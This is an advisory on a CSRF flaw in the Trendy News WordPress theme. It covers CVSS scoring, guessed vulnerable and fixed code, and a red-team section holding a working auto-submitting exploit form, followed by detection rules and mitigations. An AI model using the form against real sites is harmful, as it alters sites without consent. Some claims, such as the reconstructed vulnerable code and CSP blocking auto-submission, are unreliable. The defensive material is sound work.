CVE-2024-37473

Executive Summary

CVE-2024-37473 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Trendy News WordPress theme by Blazethemes, up to and including version 1.0.15. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or injecting malicious content, without their consent. The attack requires user interaction (clicking a crafted link) and has a low CVSS score of 4.3, but it can be chained with other vulnerabilities for privilege escalation or persistent XSS.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. The lack of a patch from the vendor (Blazethemes) means that all sites running Trendy News <= 1.0.15 are at risk. Organizations should treat this as a supply chain risk and consider replacing the theme if no update is forthcoming.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need authentication.
• User Interaction (UI): Required (R) – Victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Attacker can modify settings or content.
• Availability (A): None (N) – No denial of service.

Threat Level: Low (CVSS 4.3). However, in combination with other vulnerabilities (e.g., stored XSS), the risk increases.

Deep Dive & Mechanics

The vulnerability exists because the Trendy News theme does not implement CSRF nonces or tokens on critical administrative actions. Specifically, the theme’s admin panel functions (e.g., saving theme options, importing/exporting settings) lack proper CSRF protection. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the vulnerable endpoint.

Attack Flow:

1. Attacker identifies a site using Trendy News <= 1.0.15.
2. Attacker crafts a malicious link or HTML form that targets the theme’s admin-ajax.php or options.php endpoint.
3. Attacker lures the admin (via phishing, social engineering, or cross-site scripting) to click the link or submit the form.
4. The admin’s browser sends the forged request with their valid session cookies.
5. The server processes the request, altering theme settings (e.g., changing the site title, injecting malicious JavaScript, or modifying redirect URLs).

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern with a secure implementation.

Vulnerable Code (Trendy News <= 1.0.15):

// In theme-options.php or similar
function trendy_news_save_options() {
    // No nonce verification
    update_option( 'trendy_news_options', $_POST['trendy_news_options'] );
    wp_redirect( admin_url( 'admin.php?page=trendy-news' ) );
}
add_action( 'admin_post_trendy_news_save', 'trendy_news_save_options' );

Patched Code (Hypothetical Secure Version):

function trendy_news_save_options() {
    // Verify nonce
    if ( ! isset( $_POST['trendy_news_nonce'] ) || ! wp_verify_nonce( $_POST['trendy_news_nonce'], 'trendy_news_save_action' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    update_option( 'trendy_news_options', $_POST['trendy_news_options'] );
    wp_redirect( admin_url( 'admin.php?page=trendy-news' ) );
}
add_action( 'admin_post_trendy_news_save', 'trendy_news_save_options' );

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with Trendy News theme version 1.0.15.
2. Create an admin user and log in.
3. Set up a local web server to host the malicious CSRF page.

Exploit Code (CSRF HTML Form):

<html>
<body>
<h1>Click the button to win a prize!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="trendy_news_save">
    <input type="hidden" name="trendy_news_options[site_title]" value="Hacked by CSRF">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit for stealth
    document.forms[0].submit();
</script>
</body>
</html>

Execution:

• Host the HTML file on attacker-controlled server.
• Send the link to the admin via email or social engineering.
• Once the admin visits the page, the form auto-submits, changing the site title.

Blue Team (Defensive)

Detection:

• Monitor for unexpected changes to theme options (e.g., site title, custom CSS).
• Look for HTTP requests to /wp-admin/admin-post.php with action=trendy_news_save originating from external referrers.
• Enable WordPress audit logging (e.g., WP Activity Log plugin) to track admin actions.

Prevention:

• Apply a virtual patch using a Web Application Firewall (WAF) to block requests to admin-post.php with suspicious referrers.
• Implement Content Security Policy (CSP) headers to prevent form auto-submission from external origins.
• Educate administrators about phishing attacks targeting WordPress admin panels.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-post.php with action=trendy_news_save and no Referer header matching the site domain.
  • Unusual User-Agent strings (e.g., empty or generic) in admin POST requests.
• File IOCs:
  • Modified wp-content/themes/trendy-news/theme-options.php file (if attacker gains file access).
  • New entries in wp_options table with option_name = 'trendy_news_options' containing unexpected values.
• Behavioral IOCs:
  • Sudden changes to site title, tagline, or custom CSS without admin interaction.
  • Unexplained redirects or injected JavaScript in theme footer.

Detection Engineering

YARA Rule

rule Detect_Trendy_News_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Trendy News theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-37473"
    strings:
        $csrf_form = "action=\"trendy_news_save\"" nocase
        $admin_post = "admin-post.php" nocase
        $theme_option = "trendy_news_options" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against Trendy News Theme
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting Trendy News theme CSRF vulnerability
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=trendy_news_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-37473 - Trendy News CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=trendy_news_save";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Trendy News theme and switch to a secure alternative (e.g., default WordPress theme) until a patch is released.
2. Implement a WAF rule to block POST requests to admin-post.php with action=trendy_news_save from external referrers.
3. Audit all admin accounts for unauthorized changes and reset passwords.

Long-Term Fix:

• Contact Blazethemes for an official patch. If none is available, consider forking the theme and adding CSRF nonces (as shown in the patched code example).
• Regularly update all WordPress themes and plugins.
• Enforce multi-factor authentication (MFA) for all admin accounts.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.